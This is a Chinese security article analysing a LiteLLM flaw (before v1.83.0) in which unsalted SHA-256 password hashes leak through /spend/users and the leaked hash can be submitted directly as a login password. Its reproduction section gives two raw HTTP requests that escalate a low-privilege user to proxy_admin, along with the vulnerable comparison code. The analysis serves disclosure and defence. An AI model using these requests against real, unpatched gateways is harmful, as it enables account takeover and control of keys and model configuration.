AI中转站-litellm密码哈希泄露与认证绕过

admin 2026-05-31 04:27:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: LiteLLM在v1.83.0之前存在高危漏洞,因使用无盐SHA-256存储密码、用户信息接口泄露哈希值及登录逻辑缺陷,导致低权限用户可通过/spend/users接口获取高权限用户密码哈希并利用Pass-the-Hash攻击绕过认证。攻击者能直接提升至管理员权限,控制AI网关的模型配置与密钥管理。建议立即升级至1.83.0版本并严格校验接口权限与敏感字段过滤。 综合评分: 86 文章分类: 漏洞分析,WEB安全,红队,内网渗透,安全开发


cover_image

AI中转站-litellm 密码哈希泄露与认证绕过

问道 问道

C4安全

2026年5月29日 09:58 江苏

在小说阅读器读本章

去阅读

原文链接:https://forum.butian.net/ai_security/167,作者:问道


  1. 漏洞概览

  • 漏洞编号:GHSA-69×8-hrgq-fjj8
  • 官方标题:LiteLLM Password hash exposure and pass-the-hash authentication bypass
  • 影响版本:litellm < 1.83.0
  • 严重性:High,CVSS v4 8.6
  • 相关 CWE:CWE-200、CWE-327、CWE-916
  • 官方链接:https://github.com/BerriAI/litellm/security/advisories/GHSA-69×8-hrgq-fjj8

该漏洞由三类问题串联形成完整攻击链:密码使用无盐 SHA-256 存储、用户信息/消费统计接口返回 password 字段、登录逻辑允许把数据库里的密码哈希值直接当作密码提交。

  1. 漏洞原理

当前代码中的 hash_token() 仅对输入做一次 SHA-256:

hashed_token = hashlib.sha256(token.encode()).hexdigest()

这种哈希没有盐,也没有自适应成本,适合 API key 指纹化,但不适合存储用户密码。更严重的是,authenticate_user() 在校验数据库用户密码时同时接受两种匹配方式:

secrets.compare_digest(password.encode("utf-8"), _password.encode("utf-8"))
or&nbsp;secrets.compare_digest(hash_password.encode("utf-8"), _password.encode("utf-8"))

第一项比较会把用户提交的 password 原文直接和数据库字段 _password 比较。如果攻击者已经通过 /user/info、/user/update 或 /spend/users 拿到某个用户的 SHA-256 哈希,那么他不需要知道明文密码,只要把哈希值作为 /v2/login 的 password 提交,就能通过校验。这就是 Pass-the-Hash。

此外,/spend/users 会直接返回 prisma_client.get_data() 的结果,未移除 password 字段;/user/info 也会把 user_info.model_dump() 的结果放入响应,若数据库 row 含有 password 字段,同样存在泄露风险。

  1. 漏洞复现过程

步骤一,泄露 Hash

低权限内部用户默认可以访问 /spend/users,并且可以通过 user_id 参数查询另一个用户的信息。

这里我用一个普通用户的身份,仅通过指定 user_id ,拿到了 proxy_admin 管理员权限的密码 hash:

GET /spend/users?user_id=victim-user HTTP/1.1
Host: 127.0.0.1:4010
User-Agent: raw-repro
Accept: application/json
Authorization: Bearer sk-attacker-low-priv
Connection: close

响应中泄露了 proxy_admin 的邮箱为 [email protected],密码 hash 为 5dd9f4251efffd4ccc470b11edd4267efa28b6ce1c99a94dc5f0b7fba5973a33

步骤二,Hash 传递

拿到上面那些数据,就可以直接在登录接口进行登录了:

POST /v2/login HTTP/1.1
Host: 127.0.0.1:4010
User-Agent: raw-repro
Accept: application/json
Content-Type: application/json
Content-Length: 111
Connection: close

{
"username":"[email protected]","password":"5dd9f4251efffd4ccc470b11edd4267efa28b6ce1c99a94dc5f0b7fba5973a33"
}

可以看到此时已经以 proxy_admin 的身份登录成功。

  1. 漏洞危害

  • 已认证低权限用户可读取高权限用户的密码哈希,并利用 /v2/login 登录为该用户。
  • 无盐 SHA-256 使相同密码产生相同哈希,便于识别重复密码,也便于离线字典和彩虹表攻击。
  • 如果受害者是 proxy_admin,攻击者可获得模型配置、密钥管理、用户管理、预算管理等控制面能力。
  • 攻击链只需要少量 HTTP 请求:读取用户信息、提取哈希、用哈希登录。
  1. 对 AI Gateway 安全风险的启示

在 AI 中转站的多租户隔离场景下,用户身份、模型访问权限、API Key、调用预算、审计日志和管理配置往往集中在同一个网关控制面中,因此不同用户之间、普通用户与管理员之间的越权问题尤为关键。

LiteLLM 密码哈希泄露与 Pass-the-Hash 认证绕过漏洞表明,只要一个普通用户能够通过统计或管理接口读取到其他用户的敏感身份字段,就可能突破原本的租户边界,并进一步冒用高权限账号完成权限提升。

对于 AI Gateway 而言,这类风险的危害不止是单个账号泄露,还可能扩展到模型资源滥用、密钥暴露、预算绕过、调用数据泄露以及平台配置被篡改。该案例提醒我们,多租户 AI 中转站必须将“用户间隔离”和“普通用户到管理员的权限边界”作为核心安全目标,对所有用户信息、消费统计、日志查询和配置接口执行严格的对象级授权校验,避免任何接口因返回字段过宽或鉴权过粗而成为跨租户攻击入口。


内部CTF课程上线,总课程30+小时,优惠折扣中!

帮会简介

《安全渗透感知》是FreeBuf知识大陆的重量级帮会,帮会致力于漏洞POC/EXP、红队攻防实战,是系统化从基础入门到实战漏洞挖掘的教程社区,包含团队自整的挖掘注意点和案例,还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。

内容框架(持续新增中)

目前已有「670+」小伙伴加入了帮会

加入方式目前帮会成员670+人,永久会员优惠后只需69.9元。

随着人数的增加及资源的积累,之后永久会员将涨价至99元。

有意向的师傅们可以扫码加入我们,共同进步。

如何加入帮会?→ 安卓/苹果用户可扫码使用优惠券↓↓

→ PC端用户可复制此链接到浏览器↓↓

https://wiki.freebuf.com/societyDetail?society_id=184

已加入帮会的小伙伴

可以加帮主进帮会内部交流群

请备注:帮会


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:C4安全 问道 问道《AI中转站-litellm 密码哈希泄露与认证绕过》

评论:0   参与:  0